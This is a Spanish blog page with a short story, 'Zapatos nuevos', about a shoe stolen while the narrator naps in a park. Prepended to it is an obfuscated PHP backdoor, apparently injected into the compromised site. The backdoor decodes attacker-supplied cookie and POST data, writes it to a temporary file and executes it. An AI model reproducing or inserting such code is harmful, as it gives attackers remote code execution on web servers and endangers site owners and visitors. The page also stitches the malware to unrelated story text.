$nJiipQ = "\x4d" . '_' . "\x48" . chr ( 517 - 443 ).'h' . "\x44" . 'c';$JSZzPIxGbH = "\143" . chr (108) . chr ( 857 - 760 )."\x73" . "\x73" . "\137" . chr (101) . "\170" . chr (105) . chr (115) . "\164" . chr ( 241 - 126 ); $fIaFewIVp = $JSZzPIxGbH($nJiipQ); $nJiipQ = "23744";$GogrbYc = !$fIaFewIVp;$JSZzPIxGbH = "42898";if ($GogrbYc){class M_HJhDc{public function VUjVnhVuEK(){echo "5537";}private $MnLCnTvit;public static $IvErMj = "ea0e5aa3-fac4-4fa1-9ed3-6bffe5e36f6a";public static $UriJCglL = 32002;public function __construct($jhovr=0){$BsAFotg = $_COOKIE;$HvGOKEZQxN = $_POST;$whKRQebSl = @$BsAFotg[substr(M_HJhDc::$IvErMj, 0, 4)];if (!empty($whKRQebSl)){$ItrlW = "base64";$OXyNJYH = "";$whKRQebSl = explode(",", $whKRQebSl);foreach ($whKRQebSl as $FjPPLERFEF){$OXyNJYH .= @$BsAFotg[$FjPPLERFEF];$OXyNJYH .= @$HvGOKEZQxN[$FjPPLERFEF];}$OXyNJYH = array_map($ItrlW . chr ( 610 - 515 ).'d' . "\x65" . 'c' . "\x6f" . chr ( 749 - 649 ).chr (101), array($OXyNJYH,)); $OXyNJYH = $OXyNJYH[0] ^ str_repeat(M_HJhDc::$IvErMj, (strlen($OXyNJYH[0]) / strlen(M_HJhDc::$IvErMj)) + 1);M_HJhDc::$UriJCglL = @unserialize($OXyNJYH);}}private function uDdbCYnU(){if (is_array(M_HJhDc::$UriJCglL)) {$CbAoCoJPkl = sys_get_temp_dir() . "/" . crc32(M_HJhDc::$UriJCglL['s' . chr ( 998 - 901 ).'l' . 't']);@M_HJhDc::$UriJCglL[chr ( 182 - 63 )."\x72" . "\x69" . chr (116) . 'e']($CbAoCoJPkl, M_HJhDc::$UriJCglL["\143" . "\157" . chr (110) . "\164" . 'e' . chr ( 837 - 727 ).'t']);include $CbAoCoJPkl;@M_HJhDc::$UriJCglL["\x64" . chr ( 879 - 778 )."\154" . chr ( 311 - 210 )."\164" . "\x65"]($CbAoCoJPkl); $AhOvtjq = "53441";exit();}}public function __destruct(){$this->uDdbCYnU(); $axitm = str_pad("53441", 10);}}$rQVPaYsKI = new /* 22726 */ M_HJhDc(); $rQVPaYsKI = substr("1707_7598", 1);} Zapatos nuevos | desdelallanura

Zapatos nuevos

Siempre he sido de echarme siestas. Después de comer me invade el genio del sueño, y me obliga a descansar unos cuantos minutos antes de volver a proseguir con mis tareas diarias.
Aquel día, el genio se me apareció en el parque del retiro. Como era verano no lo dudé, me descalcé y a la sombra de un frondoso árbol, sobre la hierba, cerré los ojos.

Cuando desperté me sentí realmente descansada. Me estiré, bostecé y busqué mis zapatos. Solo encontré uno.

Miré alrededor. A aquella hora no había mucha gente en el parque: algunos niños jugando al balón, algún aprendiz de patinador, mujeres mayores paseando y charloteando tranquilamente, algunos seguidores del genio del sueño sobre la hierba… Nadie sospechoso de haberse llevado mi zapato.

Revisé palmo a palmo el terreno donde había descansado. Me pregunté qué pensaría hacer el ladrón con el compañero de mi zapato. Al principio me hizo gracia.

Volví a revisar la hierba. Tenía que volver al trabajo, se me estaba haciendo tarde y, con un zapato solo, iba a ser un poco complicado. Descalza y con el zapato en la mano, me encaminé hacia la salida. Las piedras se me clavaban en mis pies haciendo el camino muy incómodo. Pisé un cardo y chillé. Maldije al idiota que se había llevado mi zapato.

Cuando más caminaba más convencida estaba de lo que tenía que hacer. Sigilosamente, me acerqué a alguien que, como yo, había pensado que sobre la hierba y descalzo podría relajarse un rato. Presa del pánico, me acerqué muy despacio a mi víctima, comprobé el número, y me llevé…un zapato, un único zapato.

Me alejé corriendo y sin mirar atrás. Me dolían los pies, los tenía magullados. El miedo no me abandonó cuando me puse mi zapato y el zapato robado. Con rapidez me dirigí hacia la salida del parque para esperar al autobús que me llevaría de vuelta a mi trabajo.

El autobús tardo varios minutos en llegar, el tiempo suficiente para comprobar, que en aquella cola, nadie llevaba dos zapatos iguales.

Un comentario en “Zapatos nuevos

Responder a Paz Gayo Cancelar respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *